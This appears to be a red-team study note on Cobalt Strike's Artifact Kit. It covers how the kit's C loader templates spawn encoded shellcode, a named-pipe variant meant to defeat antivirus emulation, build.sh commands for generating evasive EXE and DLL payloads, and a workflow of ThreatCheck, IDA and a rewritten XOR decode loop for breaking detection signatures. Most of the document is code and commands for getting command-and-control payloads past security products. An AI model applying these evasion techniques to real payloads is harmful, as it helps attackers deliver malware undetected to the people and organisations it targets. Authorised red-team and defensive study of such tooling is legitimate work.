Artifact Kit

Artifcact Kit can be used to modify binary (EXE & DLLs) payloads, is designed to facilitate the development of sandbox-safe variants of these payloads based on the premise of loading said shellcode in a manner in which AV engines cannot emulate.

It works on a system of "bypass templates" which allow you to change existing bypass strategies for reading shellcode, or implement entirely new ones.

C:\Tools\cobaltstrike\arsenal-kit\kits\artifact

Parts of the Artifcat Kit

- src-main/main.c

Is the entry point for the EXE artifacts. It does nothing more than run a function called start and then just loops to prevent the process from closing.

#include "windows.h"

void start(HINSTANCE handle);

int main(int argc, char * argv[]) {
	start(NULL);

	/* sleep so we don't exit */
	while (TRUE)
		WaitForSingleObject(GetCurrentProcess(), 10000);

	return 0;
}

- src-common/bypass-template.c

Is not a "bypass", but it serves to show how one can implement some logic inside that start function. It simply grabs the payload buffer, copies it into a new memory regions, calls a spawn function and then frees the buffer. This function and other parts of the program can be found in patch.c and injector.c.

void start(HINSTANCE mhandle) {
	/* phear is a struct that defines how artifact.cna will patch the payload data
	   into this artifact. You're welcome to update artifact.cna to use your own
	   convention if you like. */
	phear * payload = (phear *)data;
	char * buffer;

	/* copy our encoded payload into its own buffer... necessary b/c spawn modifies it */
	buffer = (char *)malloc(payload->length);
	memcpy(buffer, payload->payload, payload->length);

	/* execute our payload */
	spawn(buffer, payload->length, payload->key);

	/* clean up after ourselves */
	free(buffer);
}

- bypass-pipe

One of the bypass strategies included in the kit is called bypass-pipe:

void start(HINSTANCE mhandle) {
   sprintf(pipename, "%c%c%c%c%c%c%c%c%cnetsvc\\%d", 92, 92, 46, 92, 112, 105, 112, 101, 92, (int)(GetTickCount() % 9898));

   /* start our server and our client */
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&server_thread, (LPVOID) NULL, 0, NULL);
   client_thread(NULL);
}

First, sprintf is used to create a pseudo-random pipe name called \\.\pipe\netsvc\X (where X is a random integer). server_thread will start a new named pipe server and copy the shellcode buffer into it. client_thread will read the shellcode from the pipe and then call those same spawn & free functions. So, the only difference between bypass-template and bypass-pipe is that memcpy is replaced with named pipes. The idea being that AV engines cannot emulate this process.

Of course, there is some scope for detecting other aspects of this specific bypass technique, such as the pipe name, that is trivial to change here.

Building

The Artifact Kit is designed to be built on Linux via the included build.sh script. Running it without any arguments will show the usage.

ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh

To build a new set of payload templates using the pipe technique and VirtualAlloc (keeping the other options as false/none).

ubuntu@DESKTOP-3BSK7NO /m/c/T/c/a/k/artifact> ./build.sh pipe VirtualAlloc 296948 5 false false none /mnt/c/Tools/cobaltstrike/artifacts

This will build each variant of the EXE and DLL - staged, stageless, 32, and 64-bit. It will also produce an artifact.cna file that we need to load into the Cobalt Strike UI. Go to Cobalt Strike > Script Manager > Load and select the CNA file in your output directory. Any DLL and EXE payloads that you generate from hereon will use those new artifacts. Use Payloads > Windows Stageless Generate All Payloads to replace all of your payloads in C:\Payloads.

Now we can use ThreatCheck (https://github.com/rasta-mouse/ThreatCheck) to identify malicious bytes in a file. For example:

C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.svc.exe

Reversing tools such as IDA (https://hex-rays.com/) can help here because we can open the payload file in it and search for a byte sequence.

For example, searching for a bad byte string located before takes us to a dll, if that section of code comes right after a call to a allocator, for example VirtualAlloc, we need to go back to the artifact kit source code and locate that call. In this example, VirtualAlloc is located in patch.c.

Once located where the detection occurs, we have to breake it. If it is a for loop, we can break up the routine so that it compiles to a different byte sequence. For example:

for (int x = 0; x < length; x++) {
      char * a, b;

      a = ((char *)buffer + x);
      b = * a ^ key[x % 8];

      /* do something random */
      GetTickCount();

      *((char *)ptr + x) = b;
}

After modifying that and other similar routines, we have to rebuild the kit, then regenerate the payloads and test if there are threats detected.

To revert back to the default payloads --> unload the script from the Script Manager

Last updated